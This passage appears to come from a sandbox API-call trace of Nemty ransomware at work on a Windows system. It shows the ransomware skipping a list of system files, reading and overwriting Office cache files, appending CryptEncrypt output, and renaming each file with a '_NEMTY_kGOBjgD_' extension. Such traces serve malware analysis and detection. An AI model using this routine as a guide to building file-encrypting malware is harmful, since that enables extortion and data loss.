pszString="Mv4dJif7MTlQe7fEv5gZxlLXm/Me2r+ykkuSnqCwNG0X1pXYXCFeq1v9apfsXVtL\r\ns925q5TxCoLkUJQa6ra2hzlvmz/Xo5uH7X/B8xppb5AScjo800CMGoHlrQBiConT\r\n0KyhCM3mhvqGDZAUAPR8clrmlWCTdlGM1RkaiTFfwGhnBPEEhVmxNu5i1LjF0U1o\r\n+EEngl8LR17X1hQAlrOMxsBH4FWsXOx55Rc+VEmHR0K50HtCeTuJsn7z+qRb772F\r\noPxxu+vy/sFzo50ZnVCWjE6nas7J1WYleiOPZAlSCuZQX1Eto4WA5lXkfIga7JzH\r\nNbEi03QJWM8PJ+manwNpJA==\r\n", pcchString=0x653ef9c) returned 1 [0047.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0047.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.110] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.111] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=2503680) returned 1 [0047.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0047.111] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.111] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0047.122] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.122] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0047.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.123] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=2503680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x263400 [0047.123] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.124] CloseHandle (hObject=0x3c8) returned 1 [0047.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0047.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0047.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0047.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0047.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0047.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0047.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0047.178] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi._nemty_kgobjgd_")) returned 1 [0047.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0047.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0047.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.179] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2=".") returned 1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="..") returned 1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="...") returned 1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="windows") returned -1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="$RECYCLE.BIN") returned 1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="rsa") returned -1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="NTDETECT.COM") returned 1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="ntldr") returned 1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="MSDOS.SYS") returned 1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="IO.SYS") returned 1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="boot.ini") returned 1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="boot.ini") returned 1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="AUTOEXEC.BAT") returned 1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="ntuser.dat") returned 1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="desktop.ini") returned 1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="CONFIG.SYS") returned 1 [0047.179] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="RECYCLER") returned -1 [0047.180] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="BOOTSECT.BAK") returned 1 [0047.180] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="bootmgr") returned 1 [0047.180] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="programdata") returned -1 [0047.180] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="appdata") returned 1 [0047.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PowerPointMUI.xml", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0047.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PowerPointMUI.xml", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPointMUI.xml", lpUsedDefaultChar=0x0) returned 17 [0047.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0047.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PowerPointMUI.xml", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0047.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PowerPointMUI.xml", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPointMUI.xml", lpUsedDefaultChar=0x0) returned 17 [0047.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0047.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PowerPointMUI.xml", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0047.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PowerPointMUI.xml", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPointMUI.xml", lpUsedDefaultChar=0x0) returned 17 [0047.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PowerPointMUI.xml", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0047.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PowerPointMUI.xml", cchWideChar=17, lpMultiByteStr=0x4f9ed80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPointMUI.xml", lpUsedDefaultChar=0x0) returned 17 [0047.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942e8 [0047.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0047.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94198 [0047.180] Sleep (dwMilliseconds=0x5) [0047.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfd42c50, dwHighDateTime=0x1d561e7)) [0047.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfd42c50, dwHighDateTime=0x1d561e7)) [0047.188] GetLastError () returned 0x0 [0047.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.188] GetLastError () returned 0x0 [0047.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0047.188] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.188] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.188] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.188] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="P5GR5MJyecksqhxjmqBoN936SS/LSxnOBq8muCKAE02Eo6S2EVz/qsIMzXB9Zzr1\r\n5Omg8wI0+31G2/N1PL1pm+JI6Rt11lckEEJX7Ei2EQIKtClbB0rKskvnzompvEuJ\r\nC3u4HTQ/Hf6C5Q/7nFfJhIkAa9L0ZGmIM75X2EPPfbcfAv2Ti26+ruraf4YRW3KW\r\nxUYgrluBhAKIlBegnIEJ7DbS8nirL96PdDH0ot+ZFGxLBndyu6YPumcw466LEwmz\r\n7sms54/nHGZz3I+eDpA1CzgYcy8v/ZBp2nHUX7odaV0cwlTmy7Djv/Zoz9+ahFF9\r\ng8OHPBji049iH+ByB0MyCA==\r\n", pcchString=0x653ef9c) returned 1 [0047.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0047.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.189] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.189] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1450) returned 1 [0047.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5a0) returned 0x6343fe8 [0047.189] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.189] ReadFile (in: hFile=0x3c8, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x5a0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653f1e4*=0x5a0, lpOverlapped=0x0) returned 1 [0047.192] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.192] WriteFile (in: hFile=0x3c8, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653f1dc*=0x5a0, lpOverlapped=0x0) returned 1 [0047.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.193] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1450, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5aa [0047.193] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.193] CloseHandle (hObject=0x3c8) returned 1 [0047.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0047.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0047.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0047.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0047.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0047.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0047.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0047.194] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml._nemty_kgobjgd_")) returned 1 [0047.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0047.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.195] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2=".") returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="..") returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="...") returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="windows") returned -1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="$RECYCLE.BIN") returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="rsa") returned -1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="NTDETECT.COM") returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="ntldr") returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="MSDOS.SYS") returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="IO.SYS") returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="boot.ini") returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="boot.ini") returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="AUTOEXEC.BAT") returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="ntuser.dat") returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="desktop.ini") returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="CONFIG.SYS") returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="RECYCLER") returned -1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="BOOTSECT.BAK") returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="bootmgr") returned 1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="programdata") returned -1 [0047.195] lstrcmpiW (lpString1="PptLR.cab", lpString2="appdata") returned 1 [0047.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PptLR.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PptLR.cab", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PptLR.cab", lpUsedDefaultChar=0x0) returned 9 [0047.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PptLR.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PptLR.cab", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PptLR.cab", lpUsedDefaultChar=0x0) returned 9 [0047.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PptLR.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PptLR.cab", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PptLR.cab", lpUsedDefaultChar=0x0) returned 9 [0047.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PptLR.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PptLR.cab", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PptLR.cab", lpUsedDefaultChar=0x0) returned 9 [0047.196] HeapFree (in: 